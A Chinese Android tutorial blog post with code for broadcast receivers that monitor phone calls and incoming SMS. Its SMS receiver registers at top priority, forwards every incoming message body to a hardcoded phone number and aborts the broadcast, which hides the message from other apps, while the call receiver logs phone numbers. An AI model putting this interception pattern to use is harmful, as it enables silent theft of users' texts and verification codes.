`
梦想家dream
  • 浏览: 64206 次
  • 性别: Icon_minigender_1
  • 来自: 湖南
社区版块
存档分类
最新评论

Android从零开始—监听广播BroadcastReceiver(二十一)

阅读更多
知识点:电话拒接+短息转发(继承BroadcastReceiver)


步骤一、电话的监听(代码如下)
package com.zjyb.demo44;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.widget.Toast;

//监听电话呼出和呼入的广播
public class PhoneBroadReceiver extends BroadcastReceiver{

	
	static long s;
	static long e;
	static boolean flag=false;
	
	//当电话打出的时候,显示打出的号码
	//当接到电话的时候,显示拨入的号码以及通话时间
	@Override
	public void onReceive(Context context, Intent intent) {
		//判断是呼入还是呼出
		if(intent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")){
			//当前是呼出,显示呼出号码
			String number=intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER);
			Log.v("TAG", number);
			//18674391429
		}else{
			//当前是呼入,显示呼入号码,并且统计通话时间
			TelephonyManager manager=(TelephonyManager)context.getSystemService(context.TELEPHONY_SERVICE);
			switch(manager.getCallState()){
				case TelephonyManager.CALL_STATE_RINGING:
					String number=intent.getStringExtra("incoming_number");
					Log.v("TAG", "来电了,电话号码是:"+number);
					//if(number.equals("18674391429")){
						//黑名单,拒接
					//	Log.v("TAG", "拒接");
					//	abortBroadcast();
					//}
					break;
				case TelephonyManager.CALL_STATE_OFFHOOK:
					Log.v("TAG", "通话中...");
					s=System.currentTimeMillis();
					break;
				case TelephonyManager.CALL_STATE_IDLE:
					Log.v("TAG", "挂断");
					e=System.currentTimeMillis();
					flag=true;
					break;
			}
			if(flag&&e>s){
				Log.v("TAG", "当前通话时间:"+(e-s)/1000);
				flag=false;
				e=0;
				s=0;
			}
		}
		
		
	}

}


步骤二、短息转发(代码如下)
package com.zjyb.demo44;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

//接收短信广播
public class SmsBroadReceiver extends BroadcastReceiver{

	@Override
	public void onReceive(Context context, Intent intent) {
		Bundle bundle=intent.getExtras();
		Object[] obs=(Object[])bundle.get("pdus");//protocol description units
		SmsMessage[] messages=new SmsMessage[obs.length];
		for(int i=0;i<obs.length;i++){
			messages[i]=SmsMessage.createFromPdu((byte[])obs[i]);
			String address=messages[i].getOriginatingAddress();
			String msg=messages[i].getMessageBody();
			Log.v("TAG", "收到来自:"+address);
			Log.v("TAG","消息是:"+msg);
			//将接收的短消息转发
			//13838384381
			SmsManager manager=SmsManager.getDefault();
			manager.sendTextMessage("13838384381", null, msg, null,null);
		}
		abortBroadcast();
	}

}


步骤三、广播注册+权限配置(代码如下)
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.zjyb.demo44"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="17" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.zjyb.demo44.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <receiver 
            android:name=".PhoneBroadReceiver"
            >
            <intent-filter >
                <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
                <action android:name="android.intent.action.PHONE_STATE"/>
            </intent-filter>
        </receiver>
        <receiver 
            android:name=".SmsBroadReceiver"
            >
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>
    </application>
	<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
	<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
	<uses-permission android:name="android.permission.RECEIVE_SMS"/>
	<uses-permission android:name="android.permission.SEND_SMS"/>
</manifest>


源码下载请点击这里:
0
0
分享到:
评论

相关推荐

    从零开始学编程从零开始学Android

    《从零开始学编程从零开始学Android》是一本针对Android编程初学者的教程,由曾宏远和崔荔蒙两位作者编著,2012年出版。这本书旨在为那些对安卓手机编程开发充满兴趣的读者提供一个系统且全面的学习路径。在深入探讨...

    android从零开始

    《Android从零开始》这份文档全面且深入地介绍了Android开发的基础知识,对于初学者来说,是一份极佳的学习资源。Android作为全球最流行的移动操作系统,它的应用开发领域广阔,涉及了从用户界面设计到系统级别的...

    Android从零开始(五)

    【Android从零开始(五)】这一篇博客文章可能涵盖了Android开发的基础知识,特别是与手机设备相关的部分。在Android开发中,"Phone"这个标签可能指的是与电话功能、拨号器、通话记录或者电话状态监听等相关的内容。...

    从零开始学Android编程源代码-1

    "从零开始学Android编程源代码-1" 是一个适合初学者的资源包,它包含了02至10章的源码,覆盖了Android开发的基础到进阶部分。下面我们将深入探讨这些章节中的重要知识点。 第2章通常涉及Android应用的基础架构,...

    Android从零开始—电话+短信(二十)

    在本篇博客“Android从零开始—电话+短信(二十)”中,我们将深入探讨Android系统中的电话管理和短信服务,这对于任何想要开发涉及通讯功能的Android应用开发者来说都是至关重要的知识。我们将首先介绍Android的...

    android开发从零开始.ppt

    【Android开发从零开始】是针对初学者设计的一份详细教程,由知名讲师若水老师编纂。这份PPT旨在帮助新手快速入门Android应用程序开发,让学习过程更加轻松易懂。 1. **Android简介** - Android是谷歌公司主导开发...

    Android开发从零开始课件源代码

    在Android开发领域,从零开始的学习过程至关重要,因为这涵盖了所有基础概念和技术,为成为熟练的Android开发者奠定坚实的基础。"Android开发从零开始课件源代码"是针对初学者设计的一系列教学资源,旨在逐步引导...

    若水 android开发从零开始讲义(源码)

    【Android开发从零开始:基础篇】 Android是一种基于Linux内核的开源操作系统,主要用于移动设备,如智能手机和平板电脑。若水老师的“Android开发从零开始”课程旨在帮助初学者全面掌握Android应用开发的基本技能...

    从零开始Android游戏编程

    本篇文章将基于"从零开始Android游戏编程"这一主题,详细讲解Android游戏开发的基础知识,带你一步步踏入游戏编程的世界。 首先,我们需要理解Android游戏开发的核心技术栈。这包括Java或Kotlin语言基础,因为这两...

    android开发从入门到精通光盘源代码

    6. **广播接收器(BroadcastReceiver)**:广播接收器用于监听并响应系统广播事件,如网络状态变化、电池电量低等。了解广播机制,可以实现对系统事件的及时响应。 7. **数据存储**:Android提供了多种数据存储方式...

    Android Studio开发实战:从零基础到App上线及打开工具

    本教程将通过"Android Studio开发实战:从零基础到App上线"这一主题,逐步指导初学者从安装配置Android Studio开始,直至完成App的开发、测试和发布全过程。 首先,我们要了解Android Studio的基础操作。它基于...

    android入门到精通.pdf

    本书旨在帮助读者从零基础开始,逐步建立起扎实的Android开发技能。 在Android开发中,首先需要理解的是Android系统架构,它分为Linux内核层、系统运行库层、应用程序框架层和应用程序层。了解这些层次的作用和相互...

    Android Studio实战:快速高效地构建Android应用

    本篇文章将深入探讨Android Studio的相关知识点,帮助你从零基础开始,逐步掌握这个强大的开发平台。 1. **Android Studio安装与配置** - 安装过程:首先,你需要从官方网站下载适用于你操作系统的Android Studio...

    android从入门到精通sl(实例源程序)

    ### Android从入门到精通SL(实例源程序) #### 一、Android基础知识 ...通过以上知识点的学习和实践,开发者可以从零开始掌握Android应用开发的核心技术和流程,逐步提升技术水平,最终成为一名优秀的Android开发者。

    Android 开发入门与实战的代码

    通过【Android开发入门与实战的代码】,你将逐步掌握如何从零开始构建一个完整的Android应用,同时理解背后的原理和技术。随着经验的积累,你还可以进一步探索更高级的主题,如多线程、网络编程、数据库操作、第三方...

    Android计时器例子

    `Handler`允许你在指定的时间间隔后执行某个操作,而`CountDownTimer`则用于倒计时,即从一个设定的总时间开始,每次间隔减少一定的时间,直到达到零。 下面是如何在服务中使用`CountDownTimer`的简要步骤: 1. ...

    Android开发PPT教程

    总的来说,《Android开发PPT教程》将带领学习者从零开始,逐步构建起对Android开发的全面认识,覆盖了从基础到高级的各个层面,是Android开发者成长道路上的一份宝贵资料。通过系统学习和实践,不仅可以掌握开发技能...

    一本最权威的android入门教程

    总而言之,"一本最权威的Android入门教程"应当全面覆盖了Android开发的基础知识,帮助新手从零开始,逐步掌握开发Android应用的所有必要技能。通过深入学习和实践,新手开发者能够独立创建自己的Android应用程序,踏...

    Android开发第二行代码(书籍+源码)

    这本书籍详尽地介绍了Android应用开发的基础到进阶知识,旨在帮助读者从零开始逐步掌握Android编程。书中的源码是作者为了配合理论讲解而编写的实例,这些实例涵盖了各种常见功能的实现,使读者能够通过实践加深理解...

    android开发课件

    通过这些课件,开发者可以从零开始逐步掌握Android应用开发的关键技能。 1. **Android开发基础**(ch_01android开发基础.ppt):这部分内容通常会介绍Android平台的概述,包括Android系统架构、开发环境的搭建(如...

Global site tag (gtag.js) - Google Analytics